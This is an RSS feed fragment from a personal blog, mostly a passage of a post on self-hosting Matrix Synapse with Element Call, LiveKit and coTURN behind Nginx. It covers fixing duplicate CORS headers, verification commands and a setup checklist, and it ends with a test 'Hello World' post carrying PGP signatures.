</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:7880</span>;         <span style="color:#75715e"># livekit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Reload and basic checks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span><span style="display:flex;"><span><span style="color:#75715e"># JWT preflight (should return a single ACAO header)</span>
</span></span><span style="display:flex;"><span>curl -si -X OPTIONS https://rtc.example.com/sfu/get <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Origin: https://app.element.io&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Access-Control-Request-Method: POST&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Access-Control-Request-Headers: authorization, content-type&#39;</span> | sed -n <span style="color:#e6db74">&#39;1,30p&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Expected: one Access-Control-Allow-Origin and 200/204</span>
</span></span></code></pre></div><blockquote>
<p><strong>Why I did this:</strong> I initially had <strong>two</strong> <code>Access-Control-Allow-Origin</code> headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.</p></blockquote>
<hr>
<h2 id="the-waiting-for-media-debugging-story-how-i-found-it">The “waiting for media” debugging story (how I found it)</h2>
<p>Symptom: Element Call created rooms, but calls stayed on <strong>“waiting for media.”</strong></p>
<p>What worked:</p>
<ul>
<li><code>elementcall_jwt</code> could <strong>CreateRoom</strong> in LiveKit (seen in logs).</li>
<li>TURN creds endpoint returned time-limited credentials.</li>
</ul>
<p>What didn’t appear:</p>
<ul>
<li>No <strong>HTTP 101</strong> lines in <code>rtc.access.log</code> → the <strong>browser never established a WebSocket</strong> to LiveKit.</li>
</ul>
<h3 id="step-1-prove-the-ws-vhost-works-even-without-auth">Step 1: prove the WS vhost works (even without auth)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -v --http1.1 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Connection: Upgrade&#39;</span> -H <span style="color:#e6db74">&#39;Upgrade: websocket&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Sec-WebSocket-Version: 13&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://rtc.example.com/rtc -o /dev/null
</span></span></code></pre></div><p>Result: I got a <code>401</code> (expected), but importantly I saw a log line in <code>rtc.access.log</code>. So <strong>Nginx WS proxying was fine</strong>.</p>
<h3 id="step-2-check-the-browser-console">Step 2: check the browser console</h3>
<p>The smoking gun in DevTools:</p>
<pre tabindex="0"><code>Access-Control-Allow-Origin cannot contain more than one origin.
Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
</code></pre><p>The browser refused the JWT call due to duplicated <strong>ACAO</strong> headers, so no token → no WebSocket connect.</p>
<p><strong>Fix:</strong> in Nginx I added:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">proxy_hide_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> $http_origin <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">add_header</span> <span style="color:#e6db74">Vary</span> <span style="color:#e6db74">&#34;Origin&#34;</span> <span style="color:#e6db74">always</span>;
</span></span></code></pre></div><p>…and ensured no other <code>add_header</code> created duplicates. After that, <code>/sfu/get</code> succeeded and the WebSocket to <code>wss://rtc.example.com</code> immediately followed (I saw <strong>HTTP 101</strong> in the logs).</p>
<h3 id="step-3-confirm-livekit-side">Step 3: confirm LiveKit side</h3>
<p>Once the WS was up, LiveKit logs showed participants joining (not just <code>RoomService.CreateRoom</code>), and calls were established.</p>
<hr>
<h2 id="useful-verification-commands">Useful verification commands</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Synapse features (expect MSC4140 true)</span>
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/_matrix/client/versions | jq <span style="color:#e6db74">&#39;.unstable_features.&#34;org.matrix.msc4140&#34;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Well-known with RTC focus</span>
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/.well-known/matrix/client | jq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># TURN creds (with your access token)</span>
</span></span><span style="display:flex;"><span>curl -s -H <span style="color:#e6db74">&#34;Authorization: Bearer </span>$TOKEN<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># JWT health</span>
</span></span><span style="display:flex;"><span>curl -si -X POST https://rtc.example.com/sfu/get
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># LiveKit simple HTTP probe</span>
</span></span><span style="display:flex;"><span>curl -si https://rtc.example.com | head
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nginx logs (look for 101 Switching Protocols when a call starts)</span>
</span></span><span style="display:flex;"><span>sudo tail -f /var/log/nginx/rtc.access.log | grep <span style="color:#e6db74">&#39; 101 &#39;</span>
</span></span></code></pre></div><hr>
<h2 id="common-pitfalls-i-hit-these-so-you-dont-have-to">Common pitfalls (I hit these so you don’t have to)</h2>
<ul>
<li><strong>Host Nginx vs Docker Nginx:</strong> If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get <code>bind() ... already in use</code> and restart loops. Use <strong>host</strong> Nginx to reverse proxy to containers.</li>
<li><strong>Nginx <code>http2</code> directive:</strong> Old Nginx may not support the <code>http2</code> directive on <code>listen</code>. Use <code>listen 443 ssl;</code> (and add <code>http2</code> if your version supports it).</li>
<li><strong>Certificate name mismatch:</strong> Make sure <code>rtc.example.com</code>’s vhost uses a certificate <strong>for that exact hostname</strong> (initially I had the <code>matrix.*</code> cert on <code>rtc.*</code> and curl complained).</li>
<li><strong>Postgres collation:</strong> Either initialize the cluster with <code>C</code> or use <code>allow_unsafe_locale: true</code> in Synapse DB config to get running quickly.</li>
<li><strong>CORS duplication on <code>/sfu/get</code>:</strong> Only ONE <code>Access-Control-Allow-Origin</code> header. If the upstream adds it too, use <code>proxy_hide_header Access-Control-Allow-Origin;</code> on the Nginx location.</li>
<li><strong>Cloudflare:</strong> Use <strong>DNS-only</strong> for <code>rtc.*</code>. Proxies can interfere with WS and UDP paths.</li>
<li><strong>Firewall:</strong> Open the LiveKit UDP range and TURN ports on both v4 and v6.</li>
</ul>
<hr>
<h2 id="final-checklist-print-me">Final checklist (print me)</h2>
<ul>
<li><input disabled="" type="checkbox"> <code>https://matrix.example.com/.well-known/matrix/client</code> returns <strong>both</strong> <code>m.homeserver.base_url</code> and <code>org.matrix.msc4143.rtc_foci</code> pointing to <code>https://rtc.example.com</code>.</li>
<li><input disabled="" type="checkbox"> <code>/_matrix/client/versions</code> shows <code>&quot;org.matrix.msc4140&quot;: true</code>.</li>
<li><input disabled="" type="checkbox"> <code>/sfu/get</code> <strong>preflight</strong> returns <strong>one</strong> <code>Access-Control-Allow-Origin</code> and <strong>200/204</strong>.</li>
<li><input disabled="" type="checkbox"> Starting a call creates <strong>HTTP 101</strong> entries to <code>wss://rtc.example.com</code> in <code>rtc.access.log</code>.</li>
<li><input disabled="" type="checkbox"> LiveKit logs show <strong>participants joining</strong> (not just CreateRoom).</li>
<li><input disabled="" type="checkbox"> <code>/voip/turnServer</code> returns time-limited TURN credentials.</li>
<li><input disabled="" type="checkbox"> Cloudflare set to <strong>DNS-only</strong> for <code>rtc.*</code>. UFW allows 7881/tcp and your LiveKit UDP range.</li>
</ul>
<hr>
<h3 id="credits--tooling">Credits &amp; tooling</h3>
<ul>
<li>Matrix Synapse, coTURN, LiveKit, Element Call.</li>
<li><code>curl</code>, <code>jq</code>, <code>docker compose logs</code>, Nginx access logs. These are your best friends.</li>
<li>The debugging breakthrough was catching CORS errors in the browser console and looking for <strong>HTTP 101</strong> in Nginx logs.</li>
</ul>
<p>Happy calling! 🎉</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/matrix_setup.md">Markdown</a> ·
    <a href="/sources/posts/matrix_setup.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu&#43;0un0FiIfHKtFPcXd2HiVqzODu
YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
PIe&#43;zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
SVJbwubie1D9TPcXU3ynC&#43;ynNBcmVevFl7g/X7Ie8Pw0SP1dJF&#43;we5iVqUrZgPO2
AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5&#43;HjkoIaZDtSfFyt&#43;AwPdHDQ
m3sMXA7yZUvy&#43;pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq&#43;yxtCuXBF
fPWo5pL0rMtIfwRyaiiX9bwV&#43;WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
7yoN0vqhKSvZlAL1OQS&#43;4yRcXnguq7UY9UF&#43;drG0f0QpC3aht1QgrJ04gvDp2BOk
ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl&#43;ZMvwobQqH
Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu&#43;Qt4h9gZ2w6
Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
=yHZZ
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
gpg --verify matrix_setup.md.asc matrix_setup.md
  </pre>
</div>


]]></content:encoded></item><item><title>Hello World</title><link>https://blog.alipour.eu/posts/hello-world/</link><pubDate>Mon, 25 Aug 2025 08:53:38 +0000</pubDate><guid>https://blog.alipour.eu/posts/hello-world/</guid><description>&lt;p>This is a test hello world post just to make sure everything works!&lt;/p>
&lt;hr>
&lt;div class="signature-block" style="margin-top:1rem">
&lt;p>&lt;strong>Downloads:&lt;/strong>
&lt;a href="https://blog.alipour.eu/sources/posts/hello-world.md">Markdown&lt;/a> ·
&lt;a href="https://blog.alipour.eu/sources/posts/hello-world.md.asc">Signature (.asc)&lt;/a>
&lt;/p>&lt;details class="signature">
&lt;summary>View OpenPGP signature&lt;/summary>
&lt;pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&amp;#43;8puTLs6Na2t7
SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&amp;#43;uFYE
B3ioZqc4wJyDFaGWO&amp;#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&amp;#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
62eMm1khV99Gljg&amp;#43;XbAG6A0KI7nO5TS464/JkU1&amp;#43;d/inWjXmSkocTep9p1H/M&amp;#43;nt
7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&amp;#43;AcGR7cb9CxicTuzs8K&amp;#43;kLzQBQSep
oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&amp;#43;5rhDP4uT
6Q1OmbB4xs7jM&amp;#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
=kuAP
-----END PGP SIGNATURE-----
&lt;/pre>
&lt;/details>&lt;p>&lt;em>Verify locally:&lt;/em>&lt;/p>
&lt;pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md
curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc
gpg --verify hello-world.md.asc hello-world.md
&lt;/pre>
&lt;/div></description><content:encoded><![CDATA[<p>This is a test hello world post just to make sure everything works!</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/hello-world.md">Markdown</a> ·
    <a href="/sources/posts/hello-world.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&#43;8puTLs6Na2t7
SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&#43;uFYE
B3ioZqc4wJyDFaGWO&#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
62eMm1khV99Gljg&#43;XbAG6A0KI7nO5TS464/JkU1&#43;d/inWjXmSkocTep9p1H/M&#43;nt
7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&#43;AcGR7cb9CxicTuzs8K&#43;kLzQBQSep
oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&#43;5rhDP4uT
6Q1OmbB4xs7jM&#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
=kuAP
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md
curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc
gpg --verify hello-world.md.asc hello-world.md
  </pre>
</div>


]]></content:encoded></item></channel></rss>